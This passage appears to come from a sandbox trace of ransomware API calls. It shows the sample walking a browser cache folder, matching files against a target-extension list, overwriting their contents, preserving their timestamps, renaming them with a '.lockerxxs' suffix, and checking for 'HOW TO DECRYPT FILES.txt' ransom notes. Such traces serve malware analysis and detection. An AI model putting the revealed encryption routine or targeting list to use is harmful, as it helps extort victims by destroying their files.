pszSpec="*.txt") returned 0 [0082.689] lstrlenA (lpString="*.txt") returned 5 [0082.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.jpeg") returned 0 [0082.689] lstrlenA (lpString="*.jpeg") returned 6 [0082.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.jpg") returned 0 [0082.689] lstrlenA (lpString="*.jpg") returned 5 [0082.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.png") returned 1 [0082.689] lstrlenA (lpString="*.png") returned 5 [0082.689] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png" [0082.689] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png" [0082.689] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png." [0082.689] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png.lockerxxs" [0082.689] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3e1pt[2].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.691] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x197 [0082.691] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x456d9c70, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x456d9c70, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x456d9c70, dwHighDateTime=0x1d2faf3)) returned 1 [0082.691] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.691] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x171, lpOverlapped=0x0) returned 1 [0082.695] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png") returned="AA3e1pt[2].png" [0082.695] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.695] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x171, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x171, lpOverlapped=0x0) returned 1 [0082.695] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.695] CloseHandle (hObject=0xa4) returned 1 [0082.696] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3e1pt[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3e1pt[2].png.lockerxxs")) returned 1 [0082.699] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45856a30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45856a30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45856a30, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AA42ckd[1].png", cAlternateFileName="AA42CK~1.PNG")) returned 1 [0082.699] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.699] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AA42ckd[1].png") returned 1 [0082.699] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AA42ckd[1].png") returned 1 [0082.699] lstrcmpiA (lpString1="", lpString2="AA42ckd[1].png") returned -1 [0082.699] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png") returned="AA3e1pt[2].png" [0082.699] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.699] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.699] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.699] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.699] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="AA42ckd[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png" [0082.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.ems") returned 0 [0082.699] lstrlenA (lpString="*.ems") returned 5 [0082.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.db") returned 0 [0082.699] lstrlenA (lpString="*.db") returned 4 [0082.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.dbf") returned 0 [0082.700] lstrlenA (lpString="*.dbf") returned 5 [0082.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.myox") returned 0 [0082.700] lstrlenA (lpString="*.myox") returned 6 [0082.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.myo") returned 0 [0082.700] lstrlenA (lpString="*.myo") returned 5 [0082.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.qbw") returned 0 [0082.700] lstrlenA (lpString="*.qbw") returned 5 [0082.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.qbb") returned 0 [0082.700] lstrlenA (lpString="*.qbb") returned 5 [0082.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.qbm") returned 0 [0082.700] lstrlenA (lpString="*.qbm") returned 5 [0082.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.qbo") returned 0 [0082.700] lstrlenA (lpString="*.qbo") returned 5 [0082.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.qbx") returned 0 [0082.700] lstrlenA (lpString="*.qbx") returned 5 [0082.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.qba") returned 0 [0082.700] lstrlenA (lpString="*.qba") returned 5 [0082.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.qby") returned 0 [0082.700] lstrlenA (lpString="*.qby") returned 5 [0082.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.qbj") returned 0 [0082.700] lstrlenA (lpString="*.qbj") returned 5 [0082.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.ofx") returned 0 [0082.700] lstrlenA (lpString="*.ofx") returned 5 [0082.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.qif") returned 0 [0082.700] lstrlenA (lpString="*.qif") returned 5 [0082.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.mye") returned 0 [0082.700] lstrlenA (lpString="*.mye") returned 5 [0082.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.mbox") returned 0 [0082.700] lstrlenA (lpString="*.mbox") returned 6 [0082.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.eml") returned 0 [0082.701] lstrlenA (lpString="*.eml") returned 5 [0082.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.pst") returned 0 [0082.701] lstrlenA (lpString="*.pst") returned 5 [0082.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.ost") returned 0 [0082.701] lstrlenA (lpString="*.ost") returned 5 [0082.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.idx") returned 0 [0082.701] lstrlenA (lpString="*.idx") returned 5 [0082.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.dbx") returned 0 [0082.701] lstrlenA (lpString="*.dbx") returned 5 [0082.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.sql") returned 0 [0082.701] lstrlenA (lpString="*.sql") returned 5 [0082.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.mdb") returned 0 [0082.701] lstrlenA (lpString="*.mdb") returned 5 [0082.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.fdb") returned 0 [0082.701] lstrlenA (lpString="*.fdb") returned 5 [0082.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.wab") returned 0 [0082.701] lstrlenA (lpString="*.wab") returned 5 [0082.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.dat") returned 0 [0082.701] lstrlenA (lpString="*.dat") returned 5 [0082.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.txt") returned 0 [0082.701] lstrlenA (lpString="*.txt") returned 5 [0082.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.jpeg") returned 0 [0082.701] lstrlenA (lpString="*.jpeg") returned 6 [0082.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.jpg") returned 0 [0082.701] lstrlenA (lpString="*.jpg") returned 5 [0082.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", pszSpec="*.png") returned 1 [0082.701] lstrlenA (lpString="*.png") returned 5 [0082.701] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png" [0082.702] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png" [0082.702] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png." [0082.702] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png.lockerxxs" [0082.702] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42ckd[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.702] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2c2 [0082.702] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45856a30, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45856a30, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45856a30, dwHighDateTime=0x1d2faf3)) returned 1 [0082.702] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.703] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x29c, lpOverlapped=0x0) returned 1 [0082.704] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png") returned="AA42ckd[1].png" [0082.704] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.704] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x29c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x29c, lpOverlapped=0x0) returned 1 [0082.705] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.705] CloseHandle (hObject=0xa4) returned 1 [0082.708] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42ckd[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42ckd[1].png.lockerxxs")) returned 1 [0082.709] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a1fab0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a1fab0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45a1fab0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AA42eYr[1].png", cAlternateFileName="AA42EY~1.PNG")) returned 1 [0082.709] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.709] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AA42eYr[1].png") returned 1 [0082.709] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AA42eYr[1].png") returned 1 [0082.709] lstrcmpiA (lpString1="", lpString2="AA42eYr[1].png") returned -1 [0082.710] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png") returned="AA42ckd[1].png" [0082.710] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.710] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.710] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 